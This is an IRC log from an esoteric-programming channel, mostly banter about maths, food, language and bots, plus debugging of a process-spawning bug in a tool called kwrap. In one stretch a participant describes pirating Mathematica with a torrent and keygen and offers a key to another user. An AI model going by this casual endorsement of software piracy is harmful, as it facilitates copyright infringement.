01:44:23 <alise> `addquote <fax> oklopol geez what are you doing here <oklokok> ...i don't know :< <oklokok> i actually ate until now, although i guess i also did other things...
01:44:26 <oklokok> no, the domain is obviously two rounds around C so you get the whole C as the range
01:44:33 <oklokok> oh wait 3x-5
01:44:35 <oklokok> well anyway
01:44:43 <HackEgo> 140|<fax> oklopol geez what are you doing here <oklokok> ...i don't know :< <oklokok> i actually ate until now, although i guess i also did other things...
01:44:43 * alise punches HackEgo
01:44:48 <alise> Gregor: fixit
01:44:48 <alise> thanks
01:44:55 <oerjan> oklokok: around 5/3, then
01:44:56 <oklokok> hmm, why was that quoteworthy?
01:45:04 <alise> it's amusing :P
01:45:04 <oklokok> yeah something like that
01:45:15 <alise> anyway-
01:45:16 <oklokok> what's the thing called when you go around multiple times?
01:45:18 <oklokok> riemann something
01:45:19 <alise> um what was i going to say
01:45:20 <Gregor> alise: Doesn't seem broken ...
01:45:34 <alise> oklokok: double reacharound
01:45:37 <fax> 00:44 * alise punches HackEgo
01:45:37 <alise> Gregor: it lagged right until i told you to fix it :P
01:45:40 <fax> this made me laugh quite manically
01:45:43 * oerjan swats alise -----###
01:46:00 <fax> the reimann rock
01:46:03 <fax> oklopop
01:46:06 <oklokok> *riemann
01:46:27 <oklokok> "reimann" would be pronounced "ruymon"
01:46:29 <oerjan> http://en.wikipedia.org/wiki/Riemann_surface
01:46:34 <oklokok> as in buy
01:46:36 <fax> reimann, riemann... lets call the whole thing off
01:46:47 <alise> fax: have you been listening to that song a lot or something
01:46:56 <oerjan> oklokok: we already discussed that above
01:46:58 <fax> it happens in my head everytime
01:47:07 <oklokok> oerjan: yes, that's why i corrected it.
01:47:22 <oklokok> because people should learn things they're told. not that i do.
01:47:32 <alise> lets, let's, let(')s call the whole thing off
01:47:42 <fax> lol
01:52:56 <alise> so my laptop can rotate the screen
01:53:02 <alise> if i can get it in a nice holding position i can read papers like a real man
01:53:30 <fax> I wish the iPad was less DRM bullshit and more.. open source
01:53:37 <Gregor> alise: You mean with your eyes burning?
01:53:38 <fax> then I'd totally buy one and just lay in bed all day reading
01:53:44 <alise> fax: HAHAHAHAHAHAHAHAHAHAHAHAHAhasiudhdif
01:53:45 <Gregor> fax: You mean with your eyes burning?
01:53:53 <alise> Gregor: XD
01:53:58 <fax> by eyes burning??
01:54:13 <fax> alise what's so funny? The only bad thing about the iPad is that it's closed
01:54:15 <alise> Gregor: Anyway, look, I haven't bought that monochrome laser printer yet
01:54:17 <alise> YET
01:54:19 <Gregor> Never read anything substantial on a backlit screen then? It's quite horrible.
01:54:29 <fax> Gregor I read all the time off the computer :S
01:54:30 <alise> fax: well apart from being totally useless for anything creative instead of consuming...
01:54:42 <alise> besides, apple, open source?
01:54:45 <fax> Gregor... although.. I do have the brigtness down at minimum
01:54:51 <alise> you must be kidding; only their internal software is open source
01:55:03 <fax> alise, yeah I know it's shit.. I'm saying if it was slightly different it would be good :|
01:55:13 <fax> basically:
01:55:21 <fax> Big touchscreen that can connect to the internet
01:55:31 <alise> yeah but it would require a whole change in apple's philosophy so the end result would be way different
01:55:39 <alise> fax: hellooooo crunchpad
01:55:42 <alise> :p
01:56:49 <fax> alise that was sad :(
01:56:56 <fax> http://techcrunch.com/2009/11/30/crunchpad-end/
01:57:23 <alise> really? You ever thought it would end differently?
01:57:34 <alise> Arrington is a blowhard who talks a lot of talk but has no substance or intelligence behind his ideas.
01:57:48 <fax> tbh I never heard of this before
01:57:52 <alise> Despite being a horrid person who ruthlessly demolishes people from a position of power for no particular reason.
01:57:53 <fax> I'm not really into technology
01:58:24 <alise> Anyway if you want an internet-connected touchscreen... do it!
01:58:31 <fax> do what? :P
01:58:34 <alise> I'm sure you can buy touchscreen hardware somewhere
01:58:38 <alise> get one of those embedded linux boards...
01:58:39 <alise> go make something
01:58:39 <fax> oh make one myself
01:58:57 <alise> It'll even have Emacs.
01:59:02 <fax> alise I can't even do those kits for children you get from maplin
01:59:13 <alise> computers are easier :-P
02:00:32 <fax> df = f' dx
02:00:36 <fax> df/dx = f'
02:00:38 <fax> woah
02:00:44 <fax> I just solved the mystery
02:01:29 <alise> Dun dun DUNNNNNNNNNNNNNNNNNNNNNNN
02:01:36 <alise> How's it go Leibniz
02:01:43 <fax> this is great I've been working on this for years :P
02:01:44 <alise> omg seconds remaining until mathematica is mine
02:01:47 <fax> hehe
02:01:49 <alise> i can't wait to get frustrated at it
02:01:50 <alise> and wolfram
02:01:52 <alise> and want to kill him
02:01:52 <fax> 47 mins for me
02:02:12 * alise kills the torrent before his 0.00 ratio can improve
02:02:24 <alise> I feel baaaaaaaaaaaad
02:02:27 <coppro> lol
02:02:38 <alise> hells yeah keygen in wine time
02:02:54 <fax> are you gonna give me one too
02:02:59 <alise> sure sure
02:03:25 <alise> i think it wants a full name though, so I'll tell it you're Mr. Fax A. Thisia
02:03:31 <alise> *Mrs
02:03:34 <alise> *Vs.
02:03:38 <alise> hmm spivak prefixes
02:03:42 <alise> what would that be?
02:03:44 <alise> Es.
02:03:50 <alise> Es. Alise Something
02:05:02 <fax> hehe
02:05:08 <fax> you remember!
02:05:14 <fax> what's Vs. ?
02:05:19 <alise> i remember what
02:05:26 <oerjan> Ir. for Ister
02:05:29 <alise> Vs was my knee-jerk attempt at a gender-neutral prefix
02:05:43 <fax> alise it should be Miss
02:05:51 <alise> hmm, right
02:05:53 <Gregor> Ps. Short for "Person"
02:05:53 <fax> in UK
02:06:03 <alise> or Ms if you're irritating
02:06:06 <alise> also I remember what???
02:06:14 <Gregor> Or Cr. Short for "Comrade"
02:06:28 <alise> $. Short for "Dollar-Making Economic Agent"
02:07:36 <oerjan> Miss Feature
02:07:44 <alise> oh god; I'm being held up by the ubuntu repos
02:07:47 <alise> INSTALL WINE, FUCKERS!
02:09:51 <Gregor> PWM. Penis Wielding Human
02:09:57 <Gregor> VWM. Vagina Wielding Human
02:10:07 <alise> Penis Wielding Mhuman?
02:10:09 <Gregor> Erm, human does not start with an 'M'
02:10:11 <Gregor> >_>
02:10:19 <Gregor> PWH. Penis Wielding Human
02:10:19 <alise> YOU MEANT MAN DIDN'T YOU SEXIST PIG
02:10:22 <Gregor> VWH. Vagina Wielding Human
02:10:23 <alise> Vagina Wielding Man
02:10:50 <oerjan> "stand back. i have a vagina and i'm not afraid to use it!"
02:11:13 <Gregor> alise: Imagine He-Man, holding up a giant anthropomorphic vagina. "I HAVE THE POWEEEEEEEEEEEEER!"
02:11:25 <alise> I'm finding it really hard to consider a vagina an offensive weapon
02:11:37 <Gregor> alise: UNTIL IT DEVOURS YOU WHOLE
02:11:41 <alise> FEAAAR MY HOLE. FEAAAAAAAAAR IT!
02:11:41 <Gregor> In an extremely Freudian attack.
02:11:46 <oerjan> only one google hit for the full phrase, but better without the stand back
02:11:50 <alise> WHO TOLD YOU I WAS INTO VORE!
02:11:55 <alise> :P
02:12:09 <alise> Wow, that joke killed the conversation.
02:12:12 <alise> TOO TOUCHY FOR YOU? HUH?
02:12:23 <fax> yay vore
02:12:26 <fax> :3
02:12:27 <Gregor> I don't know what that means ...
02:12:29 * oerjan eats alise to change the subject. oh wait...
02:12:37 <alise> fax: >_<
02:12:46 <fax> Gregor like big snakes eating cute little fluffy mice
02:16:04 <oerjan> *chirp*
02:18:02 <fax> or birds
02:18:11 * fax slithers up behing oerjan
02:21:06 <oerjan> *wind rustling*
02:21:26 <oerjan> (chirping started seeming unsafe for some reason)
02:21:41 <fax> ;)
02:22:07 <fax> http://math.ucr.edu/home/baez/noether.html this is cool
02:29:57 <alise> Droid Sans is a pretty font.
02:32:59 -!- fungot has quit (Ping timeout: 260 seconds).
02:34:08 <oerjan> someone is killing off the bots!
02:35:32 <fax> http://math.ucr.edu/home/baez/dodecahedron/17.html lol what
02:35:59 <alise> i am not sure what he is trying to say
02:36:33 <fax> this proof
02:36:33 <fax> http://math.ucr.edu/home/baez/dodecahedron/19.html
02:36:35 <fax> is so beautify
02:36:38 <fax> beautiful
02:37:00 <oerjan> fool's gold is mentioned in http://math.ucr.edu/home/baez/dodecahedron/13.html
02:37:03 <alise> yes it is pretty
02:38:06 <fax> " And there is a fifth figure (which is made out of twelve pentagons), the dodecahedron—this God used as a model for the twelvefold division of the Zodiac."
02:38:11 <fax> 12 FOLD DODECAHEDRAL TRUTH!
02:41:04 <alise> Copy correctly
02:42:18 <fax> http://math.ucr.edu/home/baez/dodecahedron/6to12anim.gif
02:42:21 <fax> I want to make one of these
02:47:13 <Sgeo> Hooray for Sharp commercials talking about "adding a 4th color". I mean, wouldn't that require programs to be recorded and transmitted differently? For likely negligible gain?
02:47:41 -!- songhead95_ has joined.
02:47:42 -!- songhead95 has quit (Read error: Connection reset by peer).
02:47:42 -!- songhead95_ has changed nick to songhead95.
02:49:08 <augur> fax: that link is a lie. there is no animation there. :|
02:49:17 <fax> it is!
02:49:54 <augur> also, is it just me, or is fools gold prettier than real gold? :|
02:50:56 <augur> arsenopyrite is pretty nifty too
02:50:58 -!- coppro has quit (Ping timeout: 246 seconds).
02:51:28 <alise> that phi proof thing, i wanna use mathematica to do an animation of zooming in on it
02:51:55 -!- xxtjaxx has joined.
02:53:22 <augur> alise, hows life
02:53:35 <xxtjaxx> hm mine is fine...
02:53:38 -!- coppro has joined.
02:53:39 <alise> shit
02:53:42 <xxtjaxx> just very bored
02:53:56 <alise> this is a programming channel not esoterica/magic
02:53:59 <alise> for the record.
02:54:12 <augur> sulfur, btw, is awesome: http://en.wikipedia.org/wiki/File:Burning-sulfur.png
02:54:35 <augur> alise: why shit? :\
02:55:16 <fax> I am into esoterica
02:55:47 <fax> secret of the cube.
02:56:14 -!- xxtjaxx has changed nick to wicket.
02:56:57 <alise> fax: the mathematica keygen has ANIMATED MATHEMATICS-LOOKING LOGOS WHOA
02:57:03 <fax> alise pm
02:57:07 <alise> and in the status bar, "I am ready" alternates gray/black
02:57:12 -!- wicket has left (?).
02:57:13 <fax> lol keygens rule
02:58:50 <pikhq> What rules is tarballs of source code.
02:59:09 <fax> agreed
03:07:05 <nooga> muhuhuha
03:07:28 <alise> the mathematica installer is so awesome
03:07:30 <alise> it's just like, hey dude
03:07:31 <alise> MATHEMATICS
03:07:33 <alise> i know right?
03:08:48 <nooga> i'm applying to GSoC
03:09:48 -!- songhead95 has quit (Quit: songhead95).
03:11:06 -!- songhead95 has joined.
03:11:37 -!- pikhq has quit (Quit: Lost terminal).
03:12:13 -!- pikhq has joined.
03:20:36 -!- songhead95_ has joined.
03:20:37 -!- songhead95 has quit (Read error: Connection reset by peer).
03:20:37 -!- songhead95_ has changed nick to songhead95.
03:37:42 -!- alise has quit (Ping timeout: 252 seconds).
03:38:15 -!- alise has joined.
03:50:38 * Sgeo was happier when he believed that "chakra" was something completely made up by the writers for "Avatar: The Last Airbender"
03:51:40 <Gregor> Intel's new processors "boost performance automatically"
03:52:07 <Gregor> ... does that mean that it has speedstep, and defaults to a lower speed than max, making you go "wow that's fast!" when it actually does increase speed?
03:53:27 <fax> sgeo haha
03:53:42 <pikhq> No, clearly what it does is it uses a better CPU architecture and JITs x86.
03:53:54 <alise> yeah it's called microcode
03:54:22 <pikhq> alise: No, I mean a full-blown, heavy-weight, optimising JIT compiler.
03:55:26 <Sgeo> This particular place in AW has pictures of naked ladies, with bodypaint. One for each astrological symbol
03:55:34 <Sgeo> I have.. mixed feelings about this
03:55:42 <alise> NAKED LADIES
03:56:47 <oerjan> Sgeo: you seem to be disturbed. i suggest some etheral oils to clear up your third eye chakra.
03:57:19 <pikhq> I suggest some caustic materials.
03:57:22 <pikhq> Might I suggest lutefisk?
03:57:26 <pikhq> Preferbaly unwashed?
03:57:28 <nooga> what where?
03:58:00 <oerjan> unwashed lutefisk? how unhygienic.
03:58:09 * Sgeo doesn't even know what lutefisk is
03:58:36 <Gregor> OTHER THAN BOTTLED DELICIOUSNESS
03:58:52 <oerjan> the bottledness is _pure_ slander, i tell you.
03:59:48 <oerjan> or should that be purée slander...
04:00:10 <Gregor> Purée d'slander.
04:00:11 <Gregor> Delicious.
04:02:09 <oerjan> s is not a vowel, Gregor
04:02:37 <pikhq> oerjan: The washing of lutefisk is to make it edible.
04:02:49 <Gregor> Lst I chsked, 's' is a vswl.
04:02:53 <pikhq> It is too caustic to eat otherwise.
04:03:06 <oerjan> pikhq: shush, you
04:04:00 <oerjan> Gregor: well it's not in french
04:04:36 <pikhq> Sgeo: Lutefisk is dried fish soaked in water for 6 days, then a solution of water and lye for 2 days, then washed in water for 6 days.
04:04:53 <alise> Lots and lots of lye.
04:05:02 <pikhq> At the end of the lye period, it has a pH of ~11. The washing is to make it not eat your flesh off.
04:05:02 <Gregor> Delyecious
04:05:14 <oerjan> hm indeed the french don't have sl- do they? should probably be élander
04:05:38 <Gregor> `translatefromto en fr slander
04:05:40 <oerjan> purée d'elandre
04:05:41 <HackEgo> calomnie
04:05:49 <Gregor> `translatefromto en fr of slander
04:05:51 <HackEgo> de la calomnie
04:05:55 <pikhq> Also, silver should be avoided when consuming it. The lutefisk will eat the silver.
04:05:59 <Gregor> `translatefromto en fr purée of slander
04:06:01 <HackEgo> Purée de calomnie
04:07:05 <nooga> The lutefisk will eat the silver.
04:07:23 <pikhq> nooga: Yes, lutefisk is caustic.
04:07:35 <Gregor> In Soviet Russia, food eat YOU!
04:08:29 <nooga> http://fc05.deviantart.net/fs70/f/2009/363/d/a/Nordics_like_Fish_by_humon.jpg
04:08:57 -!- Asztal has quit (Read error: Operation timed out).
04:09:45 <nooga> i don't want to know how they invented that food
04:09:58 <pikhq> The shark is a real thing.
04:10:04 <nooga> yep
04:10:15 <pikhq> The rotting process gets rid of the poison.
04:10:17 <Gregor> Although I believe it to be more of a folk food than something real people actually eat :P
04:10:26 <Gregor> Something that has been made six times ever, and got a reputation.
04:10:52 <nooga> probably
04:10:57 <pikhq> Gregor: It's made a bit more than that. But, it's one of those "delicacy" things.
04:11:01 <songhead95> haha
04:11:18 <songhead95> think of all the starving kids in china who don't have rotting sea life to eat
04:11:22 <pikhq> Iceland dictates that it can only be made some number of miles away from civilization, because of the stench...
04:11:28 <nooga> but i heard that they sell small pieces of rotten shark in grocery stores on iceland
04:12:14 <nooga> and they have competitions in eating that and the winner is the one who pukes last (usually the sheriff)
04:13:09 <nooga> heh
04:13:47 <nooga> in ancient they had this sauce made from rotten fish fragments
04:13:56 <Gregor> `addquote <songhead95> think of all the starving kids in china who don't have rotting sea life to eat
04:14:05 <HackEgo> 141|<songhead95> think of all the starving kids in china who don't have rotting sea life to eat
04:15:02 <nooga> they fermented it in big pools that stink even now
04:15:14 <nooga> ancient rome *\
04:15:36 <songhead95> huh, and here I thought this chan was just esoteric programming!
04:15:54 <nooga> hahaha
04:19:39 <pikhq> No, that's just the nominal purpose of the channel.
04:19:50 <pikhq> We aren't on topic all that often. :P
04:26:16 <oerjan> you are of course free to create an esolang based on rotten fish if you like.
04:26:27 <Oranjer> yay
04:27:38 <pikhq> Oh boy!
04:30:18 <alise> http://simple.wikipedia.org/wiki/Zero special number
04:31:20 <nooga> gypsy fish
04:31:33 <pikhq> alise: 零, eh?
04:31:44 <pikhq> (now *there's* a bitch way of writing a number)
04:31:48 <oerjan> "Wikipedia does not yet have an article with this name."
04:32:04 <oerjan> oh wait
04:32:32 * oerjan leaves out the "special number" part
04:32:50 <oerjan> too bad the article name is now less interesting
04:33:40 <nooga> meh
04:34:53 <coppro> simple wikipedia is soooo stupid
04:35:54 <pikhq> coppro: That's because Simple English is such a stupid conlang.
04:36:00 -!- alise has quit (Ping timeout: 252 seconds).
04:36:01 <coppro> :P
04:38:38 <Gregor> It is not double plus good.
04:38:38 -!- nooga has quit (Read error: Connection reset by peer).
04:39:17 <Gregor> "If there are zero things, there are not any things. There are none."
04:39:23 <Gregor> Wow.
04:39:40 <Gregor> I thought there was a distinction between "simple English" and "English for the simple"
04:40:05 <coppro> "integral is part of the Academic Word List. It is important for students in college and university."
04:40:35 <Gregor> I know it's important to me.
04:42:37 <oerjan> it's an integral concept
04:44:04 <Gregor> * In symbols:
04:44:04 <Gregor> 43 ÷ 0 has no answer.
04:45:46 * fax cant' find anything interesting on demonstrations.wolfram.com
04:46:11 <fax> "How the Proton and Neutron Got Their Masses" sounds like a Rudyard Kipling story
04:48:37 <pikhq> Gregor: "Simple English" is an auxlang conlang constructed by simplifying English.
04:48:42 <pikhq> It possesses some 1,000 words.
04:48:46 <Gregor> pikhq: I am aware.
04:48:52 <pikhq> Okay.
04:48:54 <Gregor> pikhq: But "simple English" still shouldn't be "English for simpletons"
04:49:08 <Gregor> In fact, that's WHY simple English shouldn't be English for simpletons.
04:49:18 <pikhq> Yuh.
04:49:34 <coppro> what Gregor is saying
04:49:44 <Gregor> WHAT YOU SAY?
04:49:44 <coppro> is that simple English should just be English with all the hard words taken out
04:49:53 <coppro> rather than treating the reader like an idiot
04:50:18 <Gregor> More or less. It's for non-native speakers, not children :P
04:50:51 <Gregor> (Yes, children are idiots)
04:51:03 <Gregor> Also, observe this "Chinese hand sign": http://simple.wikipedia.org/wiki/One
04:51:24 * pikhq was not an idiot as a child
04:51:35 * fax was
04:51:43 <Gregor> Children are idiots. I decree it.
04:51:50 <Gregor> I'm not sure if I was an idiot, but I was insufferably annoying.
04:51:52 <Gregor> And that's just as bad.
04:53:23 <coppro> I'm still insufferably annoying
04:53:41 <Gregor> Oh pooppy, you're OK! :P
04:53:49 <Gregor> ^^^ Just an excuse to call you "pooppy"
04:54:56 <coppro> ...
04:56:25 <fax> augur
04:56:33 <augur> sup
04:57:57 -!- songhead95 has quit (Quit: songhead95).
04:59:34 <oerjan> soup
05:01:08 <augur> NO SOUP FOR YOU
05:02:40 <augur> actually that was quite amazing timing
05:02:51 <augur> today is now sunday, and at the Flat Planet Cafe, sunday has no soup of the day
05:03:00 <augur> the menu says, under soup of the day for sunday, "NO SOUP FOR YOU"
05:03:05 <fax> lol
05:05:52 <oklokok> pikhq: yes you were
05:06:02 <oklokok> Gregor was too
05:07:22 <oklokok> children are decent at learning certain things, but they have no creativity, they have no concentration, they have no insight.
05:07:27 <oklokok> i love kids, wish i had some
05:08:02 <coppro> kids are very creative
05:08:03 <oklokok> maybe i'll wait a few years to see if i grow some common sense
05:08:05 <coppro> just not when you want them to be
05:08:39 <oklokok> i've never a kid do something creative
05:08:52 <oklokok> *heard
05:09:56 <Oranjer> whaaat
05:10:53 <oklokok> woooooot
05:11:58 <coppro> in fact, I'd say kids are really creative when they're young, but have it knocked out of them by their parents. As adults, they try and regain some of that creativity, but do not always succeed
05:13:06 <oklokok> i've heard people say kids are creative when they misunderstand how language constructs work
05:13:18 <oklokok> can't really come up with other examples, maybe you can
05:13:45 <oklokok> let me warn you, no matter how good they are, i will disagree cuz i'm never wrong.
05:20:07 <coppro> lol
05:20:37 <oklokok> parents discourage creativity? i thought they're like "aww my kid's genius"
05:20:51 <coppro> nah, not like that
05:20:52 <coppro> more generally
05:21:05 <coppro> kids find all sorts of silly and crazy things to do
05:21:07 <coppro> and get told off
05:21:14 <oklokok> well right
05:21:47 <oklokok> most parents suck anyway based on what i've seen, i guess you get tired of doing the job right after a few years
05:22:04 <coppro> It takes a lot of effort
05:24:26 <oklokok> or, maybe it's really easy and people just hate their kids, have you considered that possibility
05:24:51 <coppro> Definitely the former
05:25:38 <oklokok> maybe, maybe
05:26:03 <oklokok> i'm just trying to open your eyes to worse points of view
05:26:48 <oklokok> i think i'm going to pass out involuntarily soon if i don't go to sleep
05:26:58 <oklokok> maybe i'll watch south park or something
05:28:34 <oklokok> wish i could unsee things, i'd know which series are good, but i wouldn't actually remember what happens
05:28:56 <oklokok> i mean every series is good but it's still really scary to try a new one out
05:29:06 <oklokok> i mean what if
05:30:20 -!- Oranjer has left (?).
05:31:33 <oklokok> bye oranjer
05:31:41 -!- oklokok has changed nick to oklofok.
06:04:25 -!- oklofok has changed nick to oklopol.
06:19:05 -!- fax has quit (Quit: Lost terminal).
06:35:36 <lament> |
06:35:37 <lament> ||
06:35:39 <lament> ||||
06:35:43 <lament> ||||||||
06:35:50 <lament> ||||||||||||||||
06:36:00 <lament> ||||||||||||||||||||||||||||||||
07:29:24 <augur> lament
07:29:44 <augur> stop this before it gets out of hand
07:59:59 -!- clog has quit (ended).
08:00:00 -!- clog has joined.
08:13:15 -!- asiekierka has joined.
08:13:16 <asiekierka> hi
08:13:22 <oerjan> ho
08:36:35 -!- jcp has quit (Quit: I will do anything (almost) for a new router.).
09:09:26 -!- oerjan has quit (Quit: Good night).
09:16:55 -!- Gracenotes has quit (Ping timeout: 260 seconds).
09:26:44 -!- AnMaster_ has changed nick to AnMaster.
09:29:42 -!- Gracenotes has joined.
09:37:54 -!- nooga has joined.
10:24:23 -!- MigoMipo has joined.
10:57:04 -!- coppro has quit (Quit: I am leaving. You are about to explode.).
10:58:42 <AnMaster> lament, 2^n ?
11:01:03 -!- fungot has joined.
11:01:15 <fizzie> ^pow2
11:01:16 <fungot> 1 2 4 8 16 32 64 128 256 512 1024 2048 4096 8192 16384 32768 65536 131072 262144 524288 1048576 2097152 4194304 8388608 16777216 33554432 67108864 134217728 268435456 536870912 1073741824 2147483648 42949672 ...
11:01:26 <fizzie> Seems to match!1
11:25:21 -!- FireFly has joined.
11:33:15 -!- nooga has quit (Read error: Connection reset by peer).
11:33:38 -!- BeholdMyGlory has joined.
11:37:26 -!- nooga has joined.
11:51:01 <AnMaster> fizzie, match what?
11:51:08 <AnMaster> oh that yeah
11:51:52 <AnMaster> fizzie, it could be some other series, involving a floor() function for example
11:51:58 <AnMaster> so it only looks the same at the start
11:52:04 <AnMaster> and then diverges later
12:07:02 <fizzie> Sure; "Search: 1, 2, 4, 8, 16, 32
12:07:05 <fizzie> Displaying 1-10 of 175 results found."
12:08:58 <fizzie> There's, for example, "Sum_{ k = 0..5 } C(n,k)" (A006261), which goes "1, 2, 4, 8, 16, 32, 63, 120, 219, ..."
12:10:51 -!- MigoMipo has changed nick to MigoMipo_Zwei.
12:10:54 -!- MigoMipo_Zwei has changed nick to MigoMipo.
12:11:21 -!- Leonidas_ has changed nick to Leonidas.
12:13:59 <fizzie> I was going to add "or the unique degree-5 polynomial determined by the points (0,1), (1,2), (2,4), ..., (5,32)" but that seems to be the same sequence as above.
12:15:25 <fizzie> octave:9> polyval(polyfit(0:5,[1 2 4 8 16 32],5),3:9)
12:15:26 <fizzie> ans =
12:15:26 <fizzie> 8.0000 16.0000 32.0000 63.0000 120.0000 219.0000 382.0000
12:15:37 <nooga> ah, octave
12:16:07 <nooga> once i got kicked out from a lab for using octave instead of matlab
12:16:12 <nooga> can you imagine?
12:16:27 <fizzie> That sounds very ideological.
12:17:38 <fizzie> Or some other /^id/ words.
12:17:56 <nooga> probably the teacher felt bad because he couldn't say anything smart about that because it was LINUX AND OPEN SOURCE
12:18:49 <nooga> and my mates were curious about white letters on black screen :D
12:19:19 <fizzie> Yes, having white text on black screen is hacking, that's well-known.
12:19:23 <nooga> :D
12:19:37 <fizzie> I seem to remember one such case from EFF's archives.
12:26:39 -!- deschutron has joined.
12:35:25 -!- Phantom_Hoover has joined.
12:36:43 <Phantom_Hoover> deschutron: Is kwrap meant to be used with FIFOs?
12:38:25 <deschutron> yes
12:38:36 <Phantom_Hoover> Good.
12:39:00 <Phantom_Hoover> The bug occurred when I made 6 FIFOs, then ran kwrap with the names as the arguments.
12:40:42 <Phantom_Hoover> kwrap repeatedly printed the contents of the virtual registers repeatedly, until I cancelled it.
12:41:01 <Phantom_Hoover> After that, the tab-completion in zsh went mad, as did ls.
12:41:15 <deschutron> hmmm
12:41:22 <deschutron> what were the commands you used?
12:41:42 <Phantom_Hoover> mkfifo tok{0..2} fromk{0..2}
12:41:52 <Phantom_Hoover> That worked as expected.
12:42:07 <deschutron> ok
12:42:42 <deschutron> and then?
12:42:48 <Phantom_Hoover> Then ./kwrap tok0 fromk0 tok1 fromk1 tok2 fromk2
12:43:44 <deschutron> and then kwrap went haywire?
12:43:50 <Phantom_Hoover> Yes.
12:44:32 <Phantom_Hoover> As I said, zsh's tab completion then started giving random junk when I tried to check the source for what had gone wrong, and ls also output random junk.
12:45:19 <deschutron> it might have output a control character, putting the terminal in a weird mode...
12:45:39 <Phantom_Hoover> No, it persisted when I opened a new terminal.
12:45:54 <Phantom_Hoover> And when I closed all open terminals and tried again.
12:46:05 <deschutron> i see
12:47:41 <deschutron> i tried the commands you said. kwrap said "Error 14 trying to run new kwrap instance." The error number comes from execv().
12:47:50 <Phantom_Hoover> I have since deleted the (thankfully separate) directory containing kwrap, and nothing else seems to have been affected.
12:47:51 <deschutron> there were no leftover kwrap processes afterwards
12:48:03 <deschutron> is your terminal still screwed up?
12:48:07 <Phantom_Hoover> No.
12:48:18 <deschutron> what fixed it?
12:48:32 <Phantom_Hoover> Hmmm...
12:48:56 <Phantom_Hoover> I tried it again.
12:49:03 -!- asiekierka has quit (Ping timeout: 240 seconds).
12:49:12 <Phantom_Hoover> Same thing happened
12:50:08 <deschutron> I ran "kwrap tok0 fromk0 tok1 fromk1" and it hung silently as if nicely waiting for input on its channels. The way it should.
12:50:15 <Phantom_Hoover> All the pre-existing files are still there, but a huge number of junk ones have been created.
12:50:28 <deschutron> what sort of names do they have?
12:50:31 <Phantom_Hoover> It may be because I was using the version of kwrap that you compiled.
12:50:48 -!- hiato has joined.
12:51:02 <Phantom_Hoover> Mainly question marks, some random Unicode, a few ASCII characters.
12:53:12 <Phantom_Hoover> http://pastebin.ca/1848073
12:56:49 <deschutron> Maybe when issued with more than two pairs of filenames, kwrap enters an infinite loop, creating new processes. And they keep using the next arguments in the argv array, past the end of the array. And so they try to use files with memory-overrun style filenames, accidently creating the files in the process.
12:57:15 <Phantom_Hoover> It would appear so.
12:57:28 <Phantom_Hoover> stracing it supports that theory.
12:57:46 <deschutron> Thanks.
12:57:47 <deschutron> I'll try to fix that.
13:00:59 -!- kar8nga has joined.
13:09:43 -!- MigoMipo has quit (Remote host closed the connection).
13:10:00 <Phantom_Hoover> Finally, it disappears when I compile it myself.
13:11:54 -!- MigoMipo has joined.
13:15:29 <deschutron> I found a couple of errors in my kwrap code.
13:16:34 <deschutron> In the code to run the new kwrap process for the extra args, there was an off-by-one error in copying the surplus args,
13:17:19 <deschutron> and perhaps more importantly, the new argument array was being passed execv, which needs a null-terminated argument-array.
13:17:35 <deschutron> and kwrap wasn't putting a terminating null at the end of the array.
13:21:48 <Phantom_Hoover> Incidentally, shouldn't duplicate use argv[0] to start the new kwrap process?
13:22:35 <deschutron> It should. I have sent you my error-corrected version.
13:22:43 <deschutron> To your email address.
13:36:29 -!- fax has joined.
13:49:18 -!- kar8nga has quit (Remote host closed the connection).
13:49:57 <Phantom_Hoover> Yep, OK.
14:07:11 -!- fax has quit (Changing host).
14:07:11 -!- fax has joined.
14:08:59 -!- cheater2 has quit (Read error: Connection reset by peer).
14:09:23 -!- cheater2 has joined.
14:14:33 -!- alise has joined.
14:15:13 <alise> hi
14:16:03 <AnMaster> hello
14:16:26 <fax> alise tried rebooting, no luck
14:16:50 <alise> fax: well if you gave me a vnc session i could try and fix it debugging gui software over irc is near-impossible ... but that involves trusting me which is dumb
14:17:05 * hiato wonders who wrote fungot
14:17:06 <fungot> hiato: i've got a relatively large export base that would nto scale to a country in any way. i can click 360 times a minute. what's he doing with changing the hell is it
14:17:11 <alise> fizzie
14:17:14 <alise> ^source
14:17:15 <fungot> http://git.zem.fi/fungot/blob/HEAD:/fungot.b98
14:18:18 <alise> 20:39:40 <Gregor> I thought there was a distinction between "simple English" and "English for the simple"
14:18:21 <alise> There should be.
14:18:25 <hiato> wow, that is super impressive
14:18:26 <alise> It's just that most Simple Wikipedia editors think it's the latter.
14:18:31 <alise> 20:40:05 <coppro> "integral is part of the Academic Word List. It is important for students in college and university."
14:18:32 <alise> snrk
14:19:24 <alise> hiato: well it has been developed since mid-late 2008 :)
14:19:43 <alise> http://git.zem.fi/fungot/blob/f581a030c5012af74d00dfaf69a78303dada54bd:/fungot.bef the first versioned version
14:19:43 <fungot> alise: why is finding the nth element of the list. they just don't cut it. i have to
14:19:51 <alise> it didn't even have babbling then
14:19:56 <alise> just brainfuck interp mostly
14:20:13 <fax> alise wow there's a preference option today but there wasn't yesterday!
14:20:24 <alise> fax: which option is it
14:20:27 <alise> oh preferences
14:20:28 <alise> lol
14:20:31 <alise> fax: ok check Kernel
14:20:40 <alise> make sure it's set to the number of cores, license avail is inf
14:21:16 <alise> it's in Parallel btw
14:21:21 <fax> I see that
14:21:24 <fax> butI have not sure what you mean
14:21:30 <alise> screenshot the parallel tab
14:21:32 <fax> its' on Automatic: 4 kernels
14:21:38 <alise> you have four cores then?
14:21:40 <hiato> alise: I see, but still no simple feat
14:21:44 <fax> I don't know
14:21:46 <alise> hiato: indeed
14:21:51 <alise> fax: i.. see
14:21:54 <alise> open activity monitor
14:21:58 <alise> how many cpu bars do you see
14:22:10 <hiato> alise: through a meta-lang/compiler or hand written?
14:22:14 <alise> hiato: hand
14:22:18 <hiato> damn
14:22:24 <fax> 4
14:22:33 <alise> fax: ok that is correct then
14:22:33 <fax> 4 CPUs ?
14:22:37 <alise> 4 cpu cores
14:22:46 <alise> most cpus are dual core nowadays... what is your system, a new imac?
14:22:47 <alise> a mac pro?
14:23:01 <fax> yes
14:23:05 <alise> newer high-end imacs have 4-core CPUs, if mac pro either new in which case one 4-core cpu
14:23:09 <alise> or old in which case two 2-cores
14:23:14 <fax> it's really old
14:23:15 <alise> fax: helpful :)
14:23:19 <alise> probably an old mac pro then.
14:23:23 <alise> it is intel though right?
14:23:36 <fax> yes
14:24:02 <alise> do you know how to set up vnc :) i'm almost certain I could get mathematica working smoothly for you
